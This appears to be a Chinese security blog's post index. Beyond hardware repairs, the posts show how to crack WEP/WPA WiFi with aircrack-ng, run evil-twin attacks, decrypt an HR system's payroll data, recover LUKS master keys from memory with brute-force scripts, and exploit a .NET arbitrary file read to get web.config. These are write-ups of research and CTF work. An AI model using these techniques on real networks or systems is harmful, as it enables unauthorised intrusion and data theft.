调重点讲，就是设计缺陷，导致其中的MOSFET温度过高，芯片损毁。涉及到的型号太多，只要有MOSFET的背板基本无一幸免。\n该芯片的原始作用为：开机启动时延时启动硬盘，和硬盘断电之类的操作。搜索到reddit的一篇替换该芯片的文章：https://www.reddit.com/r/qnap/comments/jq51vl/qnap_faulty_backplane_ts239_replacing_the_mosfet/ 写这篇文章时，搜到了比较匹配的两篇文章(一开始就没搜到，谜一样的搜索算法):\nhttps://www.ptt.cc/bbs/Storage_Zone/M.1591287840.A.0D5.html https://tyger.tistory.com/entry/Qnap-213-Mosfet-%EA%B5%90%EC%B2%B4hdd-%EC%97%B0%EA%B2%B0-%EB%81%8A%EA%B9%80 总结下: 要么更换MOSFET，要么\u0026quot;直通\u0026quot;\n网上进行绕过的图片：\n维修 拆机，取出背板。\n背板正面图：\n损毁的芯片正照：\n还是个8脚的双MOS芯片，型号为E6P02 PH11\n相关的Datasheet如下：\nhttps://www.onsemi.com/pdf/datasheet/ntmd6p02r2-d.pdf QNAP的社区也提供了\u0026quot;直通的办法\u0026quot;。\n仔细看上面的MOS芯片旁B2、B4预留的焊点，这不就是预留的\u0026quot;直通\u0026quot;方式吗? 似乎是QNAP想到了这个可能，但为啥还是这么多MOS管损坏呢? 是不是计划报废的一部分 :-\n由于焊锡不行，直接用电阻的引脚（铁丝）进行连接。\n1脚与8脚连接，3脚与5脚连接。\n最后附上修复完的web界面，可以成功识别硬盘。\n","permalink":"https://synology.pub/post/%E5%AF%B9qnap%E8%83%8C%E6%9D%BF%E9%80%9A%E7%97%85%E7%9A%84%E7%BB%B4%E4%BF%AE/","tags":["QNAP","威联通","TS-231","背板","NAS"],"title":"对QNAP背板通病的维修"},{"categories":["CTF","比赛"],"content":"题目来源 参加了\u0026quot;第八届工业信息安全技能大赛\u0026quot;之海口复赛，第一天车联网题目中有wifi部分题目，除了wpa2题目是爆破的之外，wep的两道题目全场队伍都没做出来。这里我首先做出来了第二题，即wep嗅探中IVs不足如何爆破密码。\n0x01 附件的cap数据包挺大的，足有60多M。直接使用aircrack-ng是跑不出密钥的，虽然搜集到的IVs有136004个，但还是提示IVs数量不足。\n0x02 使用wireshark打开进行查看，使用过滤器进行过滤下信标帧和数据帧。\nwlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x28或wlan.wep.iv != 0\n注意到有大部分数据帧中的IVs使用了相同的iv值，这里有问题。\n在WEP加密网络中，密码是使用RC4流式加密，如果使用了重复的IV值，则说明加密的密钥是一样的。\n图片来源：https://download.aircrack-ng.org/wiki-files/doc/technique_papers/bittau-wep.pdf [!NOTE] GPT:\n当两个或多个数据包使用相同的IV时，它们实际上会使用相同的RC4密钥进行加密。这意味着：\n密文对比攻击：攻击者可以捕捉到两个具有相同IV的数据包，并对它们的密文执行异或操作。这样，密文之间的差异就揭示了明文之间的差异。如果攻击者知道其中一个数据包的内容（例如常见的网络协议报头），他们可以利用这些信息推断出另一个数据包的内容。\n密钥恢复攻击：某些情况下，特别是当IV长度较短时（如WEP使用的24位IV），由于IV空间有限，IV重复不可避免。攻击者可以通过收集大量具有重复IV的数据包，使用统计分析方法尝试恢复原始的WEP密钥。著名的“FMS攻击”就是基于此原理，它利用了IV的线性特性来加速密钥恢复过程。\n0x03 上面的情况让我们确定了是FMS attack，下面是FMS attack的理论文章。\nhttps://download.aircrack-ng.org/wiki-files/doc/sorwep.txt 当然了aircrack-ng中也内置了相关的攻击，需要命令进行配置一下。\n-f \u0026lt;fudge\u0026gt; : bruteforce fudge factor, default: 2\n默认的爆破因子是2，这里需要配置为更高。\nBy default, this parameter is set to 2 for 104-bit WEP and to 5 for 40-bit WEP. Specify a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelyhood of success 使用aircrack-ng \u0026lt;cap packet\u0026gt; -f 5进行测试。\n不行！继续提升级别。\n当-f 尝试到15时，奇迹出现了。\n成功破解了密钥KEY FOUND! [ D1:03:F7:6A:90:C9:7E:3E:3C:2E:F3:5B:1C ] 0x04 获取到的key，放到wireshark中进行解密数据包。\n\u0026ldquo;编辑\u0026rdquo; \u0026raquo; \u0026ldquo;首选项\u0026rdquo; \u0026raquo; \u0026ldquo;Protocols\u0026rdquo; \u0026raquo; \u0026ldquo;IEEE 802.11\u0026rdquo; \u0026raquo; \u0026ldquo;Decryption keys\u0026rdquo; 添加wep类型和对应的key，确定保存。\n这是就能看到解密后的数据包了，除了UDP协议的数据包还有ICMP协议的数据包。使用过滤器进行过滤下，可以看到有flag。\ndk_flag{ppeynitelv}\n","permalink":"https://synology.pub/post/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E9%81%87%E5%88%B0%E7%9A%84wifi-wep%E9%A2%98%E7%9B%AE/","tags":["第八届工业信息安全技能大赛","海口复赛","CTF"],"title":"一次比赛遇到的WIFI-WEP题目"},{"categories":["windows"],"content":"问题情况描述 电脑是Lenovo yoga 14s 2021年的锐龙4800H，电脑一直处于连接显示器办公的状态。突然有一天显示器再也不显示了，两个type-c口拔插都没显示。电脑提示：显示器连接可能受限，DisplayPort连接可能无法工作 但是显示器中的两个USB-A口却能识别出来，显示器插入手机投屏也可以正常显示，所以排除线缆和显示器问题。同时奇怪的是两个Type-C口使用扩展坞却又正常！\n问题の解决 因为冬天了，环境很干燥，湿度在30%左右。怀疑是静电原因。ESD（electrostatic discharge）\n找遍了电脑的所有接口，没发现reset口，电脑关机通过长按“电源键”也不奏效，立即进入开机流程并显示登录界面。\n直到我搜到了这个文章https://club.lenovo.com.cn/archiver/tid-7567464.html 此文章中很多客户都遇到了相同的问题，涉及到的机型很多，但都集中在了amd平台。\n解决办法也很简单，首先正常关机，移除所有外接设备然后同时按住 Fn + S + V。此快捷键为开启运输模式，断掉内部所有供电。这时候长按电源键15-20秒即可（此时按电源键也不会开机）。\n解除运输模式也很简单，就如同第一次开机一样。插入电源供电，然后开盖开机或按电源键就可以正常开机了。此时的外接显示器也可以正常显示了。\n唏嘘 从症状上看，很难发现是软件BUG，因为使用扩展坞一切正常，只有直连显示器出现问题。\n这会来看，当初选择amd平台 + “爱国想”真是个难崩的开始。\n此文章记录下来以便给后来者遇到此问题进行解决。\n","permalink":"https://synology.pub/post/%E8%AE%B0type-c%E5%A4%96%E6%8E%A5%E6%98%BE%E7%A4%BA%E5%99%A8%E6%97%A0%E6%B3%95%E6%98%BE%E7%A4%BA%E7%9A%84%E5%A4%84%E7%90%86/","tags":["Lenovo","Type-C","外接显示器无法显示"],"title":"记“type-c外接显示器无法显示”的处理"},{"categories":["破解"],"content":"前情 某次“机缘巧合”情况下获取到了“hrm_payroll_logdetail”表的相关内容。\n可以看到horizontalData、verticalData的字段值为十六进制数据无法直接解读。网上下载了相关的安装程序并对其代码部分进行分析。\n文章的部分内容被密码保护：\n--- DON'T MODIFY THIS LINE --- 分析-插入数据 要分析其加密的形式，先从插入数据开始入手。使用jadx-gui加载了相关代码搜索关键词hrm_payroll_logdatail， 找到了一处在classbean/com/engine/payroll/process/ImportProcess.class\n可以看到此处使用了AESCoder.encrypt进行加密，加密的key为var12变量。而var12变量是PayrollUtil.getInstance().getUnquieID();进行赋值的，具体函数为生成随机uuid，然后去掉\u0026quot;-\u0026quot;。\n加密的key被存储到this.keys.put(var11, var12);中后就再没有进行操作了。\n在该类中有getKeys方法，是唯一获取加密key的方式了。\n分析-获取数据 上面既然进行了插入的操作必然会有读取的操作，搜索select horizontalData、verticalData相关的操作。\n在classbean/com/engine/payroll/cmd/payroll/ReadRecordCmd.class中进行了获取相关表中的数据。\n在这里，使用AESCoder.decrypt进行解密，解密的key是变量var5。var5是dataEncryptId进行赋值，如果值为空，则有默认值47d01df7-0974-4b5a-93f5-1881af339a9a。\n分析-寻找dataEncryptId 使用jd-gui进行搜索关键词dataEncryptId,仅在classbean/com/engine/payroll/biz/SendMsg.class中进行使用。\n这里的dataEncryptId值为变量str9,是获取paramMap中的属性得到的。\n如果再追踪谁调用了这个方法那就没完没了了（此处接口对应的是获取payroll消息内容的功能）。代码往后看，就是创建对应的消息，然后发送。\n可以查看到对应的消息类型MessageType.HRM_PAYROLL为499\n查看最后的Util_Message.sendAndpublishMessage(messageBean)代码，发送必然会保存消息。\n做了两个操作，推送消息、发送消息。\n这里看sendMessage部分，经过一些判断最终进入到 MessageManager.store(paramMessageBean);\n在store中，进行一些处理，最终创建messageTask类型并使用begin方法。\nbegin方法中最终又调用了resolve\n最终执行的代码如下：\npackage com.cloudstore.dev.api.message.task; import com.cloudstore.dev.api.message.executor.DefaultThreadFactory; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadFactory; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; public class MessageExecutors { public static final ThreadPoolExecutor msgExecutors = new ThreadPoolExecutor(50, 200, 180L, TimeUnit.SECONDS, new LinkedBlockingQueue\u0026lt;\u0026gt;(20000), (ThreadFactory)new DefaultThreadFactory(\u0026#34;utilMessage-updateBizState\u0026#34;), new ThreadPoolExecutor.DiscardOldestPolicy()); } 创建线程池，然后执行相关操作。到这里貌似也是不太容易进行跟踪了。\n分析-getKeys 还记得分析第一步中的加密key有个getKeys()的获取方法，这里换了工具，使用jd-gui进行全局搜索importProcess.getKeys()。在classbean/com/engine/payroll/cmd/payroll/DispatchCmd.class中发现了引用。\n然后key的值(map变量)进入到 SendMsg.getInstance().dispatch(this.request, this.user, str, set, map, fileUploadToPath);中，对应着第三步中classbean/com/engine/payroll/biz/SendMsg.class的功能。\n貌似陷入了循环，难道真的要全局搜索utilMessage-updateBizState相关的函数吗？\n柳暗花明 经过上面的分析得知，加密key被用来加密后，被message消息进行推送、保存等操作。通过Google得知message的相关数据被保存在了ECOLOGY_MESSAGE_INFO表中。上面分析又知道消息类型MessageType.HRM_PAYROLL值为499，所以解密的key可以直接在数据库中获取。\n使用sql语句select * from ECOLOGY_MESSAGE_INFO where MESSAGETYPE = 499即可获取包含解密key的数据了。\n因为正常功能为返回包含加密key的url地址，所以获取到的内容需要自行分割解析。\n最后-解密 最后，在解决了获取加密key后，让我们来看看这个AESCoder.encrypt加密方法。\n这里的AES加密有多处，大致方法都相同。可以看ecology\\WEB-INF\\lib\\AESCoder.jar!\\weaver\\file\\AESCoder.class或者classbean/weaver/security/file/AESCoder.class 或classbean/weaver/file/AESCoder.class 实现的逻辑都是一致的。\n// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package weaver.file; import java.io.InputStream; import java.io.OutputStream; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.CipherInputStream; import javax.crypto.CipherOutputStream; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; public class AESCoder { private static final String KEY_ALGORITHM = \u0026#34;AES\u0026#34;; private static final String DEFAULT_CIPHER_ALGORITHM = \u0026#34;AES/ECB/PKCS5Padding\u0026#34;; public AESCoder() { } public static byte[] initSecretKey(String code) { KeyGenerator kg = null; try { kg = KeyGenerator.getInstance(\u0026#34;AES\u0026#34;); SecureRandom secureRandom = SecureRandom.getInstance(\u0026#34;SHA1PRNG\u0026#34;); secureRandom.setSeed(code.getBytes()); kg.init(128, secureRandom); } catch (NoSuchAlgorithmException var3) { var3.printStackTrace(); return new byte[0]; } SecretKey secretKey = kg.generateKey(); return secretKey.getEncoded(); } private static Key toKey(byte[] key) { return new SecretKeySpec(key, \u0026#34;AES\u0026#34;); } public static InputStream encrypt(InputStream in, String code) throws Exception { byte[] key = initSecretKey(code); Key k = toKey(key); Cipher cipher = Cipher.getInstance(\u0026#34;AES/ECB/PKCS5Padding\u0026#34;); cipher.init(1, k); CipherInputStream cis = new CipherInputStream(in, cipher); return cis; } public static OutputStream encrypt(OutputStream out, String code) throws Exception { byte[] key = initSecretKey(code); Key k = toKey(key); Cipher cipher = Cipher.getInstance(\u0026#34;AES/ECB/PKCS5Padding\u0026#34;); cipher.init(1, k); CipherOutputStream cos = new CipherOutputStream(out, cipher); return cos; } public static InputStream decrypt(InputStream in, String code) throws Exception { byte[] key = initSecretKey(code); Key k = toKey(key); Cipher cipher = Cipher.getInstance(\u0026#34;AES/ECB/PKCS5Padding\u0026#34;); cipher.init(2, k); CipherInputStream cis = new CipherInputStream(in, cipher); return cis; } public static OutputStream decrypt(OutputStream out, String code) throws Exception { byte[] key = initSecretKey(code); Key k = toKey(key); Cipher cipher = Cipher.getInstance(\u0026#34;AES/ECB/PKCS5Padding\u0026#34;); cipher.init(2, k); CipherOutputStream cos = new CipherOutputStream(out, cipher); return cos; } public static String decrypt(String sSrc, String sKey) throws Exception { try { if (sKey == null) { System.out.print(\u0026#34;Key为空null\u0026#34;); return null; } else { byte[] raw = initSecretKey(sKey); SecretKeySpec skeySpec = new SecretKeySpec(raw, \u0026#34;AES\u0026#34;); Cipher cipher = Cipher.getInstance(\u0026#34;AES\u0026#34;); cipher.init(2, skeySpec); byte[] encrypted1 = hex2byte(sSrc); try { byte[] original = cipher.doFinal(encrypted1); String originalString = new String(original); return originalString; } catch (Exception var8) { var8.printStackTrace(); return null; } } } catch (Exception var9) { var9.printStackTrace(); return null; } } public static String encrypt(String sSrc, String sKey) throws Exception { if (sKey == null) { System.out.print(\u0026#34;Key为空null\u0026#34;); return null; } else { byte[] raw = initSecretKey(sKey); SecretKeySpec skeySpec = new SecretKeySpec(raw, \u0026#34;AES\u0026#34;); Cipher cipher = Cipher.getInstance(\u0026#34;AES\u0026#34;); cipher.init(1, skeySpec); byte[] encrypted = cipher.doFinal(sSrc.getBytes()); return byte2hex(encrypted).toLowerCase(); } } public static byte[] hex2byte(String strhex) { if (strhex == null) { return null; } else { int l = strhex.length(); if (l % 2 == 1) { return null; } else { byte[] b = new byte[l / 2]; for(int i = 0; i != l / 2; ++i) { b[i] = (byte)Integer.parseInt(strhex.substring(i * 2, i * 2 + 2), 16); } return b; } } } public static String byte2hex(byte[] b) { String hs = \u0026#34;\u0026#34;; String stmp = \u0026#34;\u0026#34;; for(int n = 0; n \u0026lt; b.length; ++n) { stmp = Integer.toHexString(b[n] \u0026amp; 255); if (stmp.length() == 1) { hs = hs + \u0026#34;0\u0026#34; + stmp; } else { hs = hs + stmp; } } return hs.toUpperCase(); } public static String randomKey() { String keys = \u0026#34;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#34;; int length = (int)(Math.random() * 16.0 + 16.0); int i = 0; String key = \u0026#34;\u0026#34;; while(i \u0026lt; length) { int j = (int)(Math.random() * 61.0); if (j \u0026lt;= 61) { key = key + keys.substring(j, j + 1); ++i; } } return key; } public static void main(String[] args) throws Exception { String encrypt = encrypt(\u0026#34;ecologyxindaoa@weaver.com.cn\u0026#34;, \u0026#34;HZURvCBlaFe1b1\u0026#34;); System.out.println(encrypt); System.out.println(decrypt(encrypt, \u0026#34;HZURvCBlaFe1b1\u0026#34;)); } } ","permalink":"https://synology.pub/post/%E5%AF%B9hrm_payroll_logdetail%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86%E5%88%86%E6%9E%90/","tags":["破解","ECOLOGY9"],"title":"对“hrm_payroll_logdetail”进行解密分析"},{"categories":["LUKS解密"],"content":"虚拟机获取 在其官网存在虚拟机版本供其下载，这里我下载的是ova虚拟机镜像。\n打开虚拟机镜像 直接使用7z工具进行打开，可以看到本质是zip压缩包文件，内为vmdk格式镜像 继续打开vmdk文件，发现为两个img镜像组成。\n0.img 0.img文件为系统启动镜像，负责系统启动初期的运行和解密分区等流程。\n在GRUB中配置了密码，防止直接修改GRUB参数绕过。虽然可以直接删除密码绕过。。。\n使用hexdump查看文件，发现以下文件是加密的，而不是直接的img文件：\ninitramfs-0-rescue-795882a352b9438790405ff6361875b5.img\ninitramfs-4.19.181.img\n而initramfs-4.19.181kdump.img作为kdump使用并未加密。\n1.img root和app分区为LUKS加密，其余分区为xfs分区。\n解密initramfs 分析不了一点vmlinuz引导，直接简单点，使用虚拟机运行，引导至系统启动后进行暂停虚拟机拍摄快照。\n找到虚拟机文件，找到快照文件*.vmem\n使用010edit打开该文件，并搜索关键词。如：initramfs\n可以看到搜索到了shell解密initramfs.img命令\nopenssl rc4 -K a5a7391025cd4052b3fd170e3c749163 -nosalt -e -nopad -in \u0026quot;$outfile\u0026quot; -out /boot/initramfs.img\n使用rc4密钥可以成功解密该img文件。\n如果出现\n40A712850E7F0000:error:0308010C:digital envelope routines:inner_evp_generic_fetch:unsupported:../crypto/evp/evp_fetch.c:349:Global default library context, Algorithm (RC4 : 37), Properties () 则说明openssl版本较高，使用低版本即可解决。或者使用工具解密https://tomeko.net/bin/RC4/FileEncryptDecrypt.zip By https://tomeko.net/online_tools/rc4.php?lang=en 解密后文件可以使用7z工具打开。\n在/etc/crypttab文件中存在解密方法root /dev/disk/by-uuid/84b916e1-2242-409d-b2ba-ebf149be7a9a /etc/.appconf/.ramfs\n发现相关目录下存在两个文件，一个4k大小的乱码文件，一个headerless的LUKS加密分区文件。\n通过搜索内存中cryptsetup命令，发现一处解密的方法。\n继续搜索发现.ramfs文件为使用GPG加密的密文，其内容为LUKS加密分区的密码。\n搜索不到相关的GPG解密key信息，只好作罢。\n解密LUKS加密分区 再次回到快照文件，这次直接使用工具搜索AES的key。\n这里使用aeskeyfind ，可以搜索到一些KEY信息。（这里没保存截图）因为LUKS分区默认的master-key是32位的byte，所以排除非16位的byte（显示的hex是字符串类型，所以实际上是32/2大小）。剩下的结果使用python进行排列组合。\nstrings = [ \u0026#34;96448b38426076d0332f917d3b28741f4f02d41e32928056b3bb1649526ce8c2\u0026#34;, \u0026#34;e537e35b305f61e3a674c9d0e1344af261c7e1047a1f363bbb0997f84e460ddc\u0026#34;, \u0026#34;22d7beb261f134f98e4806504eccd8293c4b5703828d4ac32a510519a43ff836\u0026#34;, \u0026#34;6b044f66ebbd881dc5954bc69958319a857e9993fd33b17f8f30de266fd32ae9\u0026#34;, \u0026#34;f2d2ae5c0c849f554da11aed169de5b6f76d1a7258be41b8e399862ac82b1040\u0026#34;, \u0026#34;000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f\u0026#34;, \u0026#34;db27271c5486bd6820f4603eeb4b6457d3c11f6f1f3e79b9f05ebc83d22581f6\u0026#34;, \u0026#34;0414dee9cab868f11977ab9552f3b48b632039848143fa8c3dc7d3dd71c86208\u0026#34;, \u0026#34;29fd7e7664257fd4de1c8be84530d5d360330aa54c2ffabc934f1925eaaf394e\u0026#34;, \u0026#34;509fa5d0157b2fcca0ce7c3d4c31e6a5d442aae9c9119ea9e660db984a8fe106\u0026#34;, \u0026#34;78d094ecbe61fd098905748ff4a015d45cb0802ea48ea07f0b9d93e03613da36\u0026#34;, \u0026#34;f918c5501338737c1e41d243c3edcccb35e1f1129894744aeb58e02096f44281\u0026#34;, \u0026#34;90152e70bfe5fe834e941abd2778f5371a311753e14cada68cb5c3d1ee089f43\u0026#34;, \u0026#34;36ea213eed82e4cc00be713b6d1f25a5b784a9a0c6c579f968523f725f09bec4\u0026#34;, \u0026#34;caee146e5c6e6d8745b63575df55ff92e7290a816a538f76685f86e9fcfd01a1\u0026#34;, \u0026#34;3266b9a1fda52877c9f2d1f44c9e071290d055ff017a244011a71a4075958091\u0026#34; ] import itertools for idx, (a, b) in enumerate(itertools.permutations(strings, 2)): combined_hex = a + b combined_bytes = bytes.fromhex(combined_hex) print(f\u0026#34;{idx+1}\u0026#34;) with open(f\u0026#34;{idx+1}.txt\u0026#34;, \u0026#34;wb\u0026#34;) as f: f.write(combined_bytes) 这里共生成了240中组合。再次使用shell脚本去暴力枚举出正确的key。\n#!/bin/bash start=1 end=240 for ((i=$start; i\u0026lt;=$end; i++)) do key_file=\u0026#34;1.txt\u0026#34; if [ $i -gt 1 ]; then key_file=\u0026#34;${i}.txt\u0026#34; fi output=$(cryptsetup luksOpen /tmp/root.img rootenc --master-key-file=\u0026#34;$key_file\u0026#34; 2\u0026gt;\u0026amp;1) if [[ \u0026#34;$output\u0026#34; != *\u0026#34;Volume key does not match the volume.\u0026#34;* ]] then echo \u0026#34;Found matching key in file: $key_file\u0026#34; echo \u0026#34;$output\u0026#34; fi done 经过计算，发现48.txt的master-key可以进行解密。\n6b 04 4f 66 eb bd 88 1d c5 95 4b c6 99 58 31 9a 85 7e 99 93 fd 33 b1 7f 8f 30 de 26 6f d3 2a e9 22 d7 be b2 61 f1 34 f9 8e 48 06 50 4e cc d8 29 3c 4b 57 03 82 8d 4a c3 2a 51 05 19 a4 3f f8 36 同样方法，另一个加密分区的master-key也破解出来了16.txt。\ne5 37 e3 5b 30 5f 61 e3 a6 74 c9 d0 e1 34 4a f2 61 c7 e1 04 7a 1f 36 3b bb 09 97 f8 4e 46 0d dc 96 44 8b 38 42 60 76 d0 33 2f 91 7d 3b 28 74 1f 4f 02 d4 1e 32 92 80 56 b3 bb 16 49 52 6c e8 c2 master-key与key-file 在cryptsetup中，存在key-file和\u0026ndash;master-file的参数项，他们之间的关系为：\n因为分区加密很耗时间，为了节省资源，加密逻辑如下：\n用户密码key使用算法加密master-key并保存加密后的master-key信息。 master-key进行分区加密。 所以，如果用户更改了key-file，只需要计算出加密后的master-key更新即可。大大缩减了资源消耗。\n这里很明显，即使用户更改了密码，但是master-key是不会更改的（每改密码一次都要全加密分区重新计算读写不现实）。我们只需要知道master-key的信息照样可以在不知道密码的情况下解密LUKS加密分区。\n挂载lvm文件为分区 使用下面命令进行挂载\n# 挂载lvm文件为回环设备并显示分配的设备名 sudo losetup -f --show xxx.lvm # 列出/dev/loop0设备上物理卷信息 sudo pvs /dev/loop0 # 激活卷组cl（上一步命令中获取） 中的所有物理卷 sudo vgchange -ay cl # 扫描系统中已识别到的lvm分区的信息 sudo vgscan # 获取设备块信息 lsblk 经过上面的命令，可以成功挂载lvm文件为分区。\n挂载xfs分区 使用命令进行挂载\nsudo mount -t xfs /dev/mapper/分区名 \u0026lt;挂载点\u0026gt; ","permalink":"https://synology.pub/post/%E5%AF%B9%E6%9F%90%E9%9B%B6%E4%BF%A1%E4%BB%BB%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E7%B3%BB%E7%BB%9F%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A1%AC%E7%9B%98%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86/","tags":["零信任访问控制系统","虚拟机","LUKS解密"],"title":"对某零信任访问控制系统虚拟机硬盘进行解密"},{"categories":["漏洞"],"content":"0x0 .net中常见的加载js、css文件的方式为直接使用html进行加载，近几年不知道刮起了什么邪风非得要自己实现加载js这些静态资源。\n如: /getjsfile?file=xxx.js 这种形式\n当然这种方式也经历了大大小小扫描器的扫描探测，没报出什么任意文件读取漏洞。直到这天，我在一个网站中发现了bin文件备份。\n0x1 在一处控制器中发现了读取css和js文件的方法。\n从GetJSFile方法上来看，该方法获取文件后缀，并限制了后缀名为.js从而限制其他文件的加载读取。\n当我查看JsCssHelper.DownJSFile相关的方法时突然发现这里似乎存在着任意文件读取相关的漏洞点。\n首先，对传入文件名使用,进行分割。再依次循环判断要加载的文件是否存在，当存在时，进行读取。\n0x2 到这里想必很清楚了，这里存在着任意文件读取漏洞。当传入多个文件时，只需要保证传入值末尾为正确的后缀名即可。如：aa.aspx,bb.js\n0x3 对目标文件进行试验，因为该控制器需要登录和防csrf攻击，所以要填充cookie和RequestVerificationToken才能通过。\n可以看到成功的获取到了web.config文件的配置信息，进而可以获取到数据库配置信息等。\n0x4 当然这种“缺陷”修复的方式也很简单，取消分割，强制读取静态资源即可。但是为什么简单的加载非要复杂化呢？\n","permalink":"https://synology.pub/post/%E4%BB%8E%E5%8A%A0%E8%BD%BD%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E5%88%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/","tags":["C#","任意文件读取","漏洞"],"title":"从加载静态资源到任意文件读取"},{"categories":["WIFI"],"content":"完整握手包 首先监听一个ap，用客户端进行正常连接。这时可以正常的捕获到四次握手包 这里使用aircrack-ng进行转换hccapx（因为只有EAPOL包需要手动填写ssid、bssid）命令如下：\naircrack-ng eapol.pcap -e \u0026#34;X\u0026#34; -b \u0026#34;ca:60:b9:9d:a2:69\u0026#34; -j hashcat 可以正常的识别出来\n两次握手包 对之前的数据包进行删除，仅保留两次握手包 这时再次放入aircrack-ng中进行识别转换\naircrack-ng eapol-2.pcap -e \u0026#34;X\u0026#34; -b \u0026#34;ca:60:b9:9d:a2:69\u0026#34; -j hashcat 也是可以进行识别的\n伪造已知AP实验 使用其他ap伪造相同ssid 但是密码不同，使用客户端进行连接 此时进行抓包 可以看到上面显示获取了EAPOL数据包和客户端（使用华为路由器实验不成功，获取不到任何数据 远离华为，否则会变得不幸）。使用wireshark进行分析cap数据包使用aircracker-ng转换\naircrack-ng eapol-evil.cap -j evil -e \u0026#34;X\u0026#34; -b \u0026#34;78:40:E4:89:B7:A4\u0026#34; 使用aircrack-ng尝试获取（爆破）WiFi密码\naircrack-ng evil.hccapx -w pass.dict 课后思考题 为什么使用华为路由器模拟ap无法抓到EAPOL包？\n","permalink":"https://synology.pub/post/wifi_challenge_05-wifi%E4%B8%A4%E6%AC%A1%E6%8F%A1%E6%89%8B%E5%8C%85-%E5%AE%9E%E9%AA%8C/","tags":["WIFI Challenge"],"title":"WIFI_Challenge_05-wifi两次握手包-实验"},{"categories":["WIFI"],"content":"WPA-个人模式 四次握手的过程可概括如下：\nAP发送自己的随机数ANonce给STA； STA生成随机数SNonce，计算出PTK，并将SNonce和信息完整性校验码MIC发送给AP； AP收到SNonce，计算出PTK（此时双方都已有PTK），将组密钥GTK加密后连同MIC发给STA； STA收到GTK，安装PTK和GTK，发送ACK确认。AP收到确认后安装PTK。 参考：https://www.antiy.cn/research/notice\u0026amp;report/research_report/20171019.html 四次握手包中可以获取校验和字段MIC值。\nPTK = Hash(PMK||A-nonce||S-nonce|| AP Mac || STA Mac) = Hash(PBKDF(Passphrase, SSID, ssidLength, 4096, 256)||A-nonce||S-nonce||AP Mac ||STA Mac) PSK 、 PMK和 Passphrase之间的关系如下：\nPSK = PMK = PBKDF(Passphrase, SSID, ssidLength, 4096, 256) 所以构造一个“彩虹表”即可快速破解密码。\n内存-时间平衡攻击 采用预先计算常见的SSID和密码信息的PBKDF哈希来快速查找进行破解。\nEvil Twin攻击 通过伪造和目标SSID信息相同的高功率AP，让客户端连接到伪造的AP。即可通过四次握手包的前两个握手包计算出PSK，离线计算。\n条件 需要两个无线网卡（一个开启AP，一个开启监听抓包）。\nWPA3攻击 目前对于WPA3的攻击仅有Evil Twin，其原理是伪造和目标相同的SSID等信息，使用WPA2认证，靠其大功率AP，使其客户端吸附连接。所以WPA3攻击并非攻击AP，而是攻击Client。\nWPA3降级 使用Evil Twin攻击，和上述步骤相同。\n伪造同名ssid-AP（针对ssid密码爆破）？ 根据伪造客户端连接过的ssid，爆破目标ssid密码（和Evil Twin类似，但是这个获取目标ssid密码，而不是攻击客户端的）\n四次握手包 PTK(Pairwise Transient Key 成对瞬态密钥) AP发送包含ANonce消息到客户端（Station），客户端用它生成PTKPTK = PRF(PMK + ANonce + SNonce + MAC (AP)+ MAC(Station)) ANonce 为AP生成的随机数 SNonce 为客户端生成的随机数PMK(Pairwise Master Key 成对主密钥) MIC为16字节\n第一次握手 AP发送带有ANonce的EAPOL数据到客户端\n客户端根据第一次握手收到的ANonce计算出PTK值\n第二次握手 客户端 发送SNonce数据到AP（带有MIC的EAPOL数据）\n爆破密码 psk=pbkdf2_sha1(password,SSID,4096,64); ptk_data=\u0026ldquo;Pairwise key expansion\\0\u0026rdquo; +min(AP_MAC,STA_MAC) +max(AP_MAC,STA_MAC) +min(AP_Nonce,STA_Nonce) +max(AP_Nonce,STA_Nonce) +\u0026quot;\\0\u0026quot;; ptk=hmac_sha1(ptk_data,psk,16); mic=hmac_sha1(LLC负载(802.1X Authentication部分 MIC值应替换为00),ptk,16);\n参考: https://zhou-yuxin.github.io/articles/2016/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9CWPA2%E5%8A%A0%E5%AF%86%E7%9A%84%E7%A0%B4%E8%A7%A3/index.html ","permalink":"https://synology.pub/post/wifi_challenge_04-advance-%E6%8B%93%E5%B1%95/","tags":["WIFI Challenge"],"title":"WIFI_Challenge_04-Advance-拓展"},{"categories":["WIFI"],"content":"开启网卡监听 使用下面命令对网卡开启监听模式：\n# airmon-ng \u0026lt;start|stop|check\u0026gt; \u0026lt;interface\u0026gt; sudo airmon-ng start \u0026lt;interface\u0026gt; 执行成功会看到相关网卡已成功开启监听模式\n扫描周围WIFI信息 使用下面命令对周边wifi进行探测：\nsudo airodump-ng \u0026lt;interface\u0026gt; 抓取握手包 选择一个信号较好（PWR值大的）的热点，防止信号不好影响捕获到握手包\n# airodump-ng -c chanel --bssid \u0026lt;bssid\u0026gt; -w \u0026lt;pcap\u0026gt; \u0026lt;interface\u0026gt; sudo airodump-ng -c 6 --bssid 9E:7F:81:48:6B:0E -w hidden wlx00224369f3a1 没有客户端连接 这里没有客户端进行连接，因为WPA/WPA2不能使用fake authentication攻击，虽然也能成功执行命令伪造连接，但是无意义。 There is another important difference between cracking WPA/WPA2 and WEP. This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the 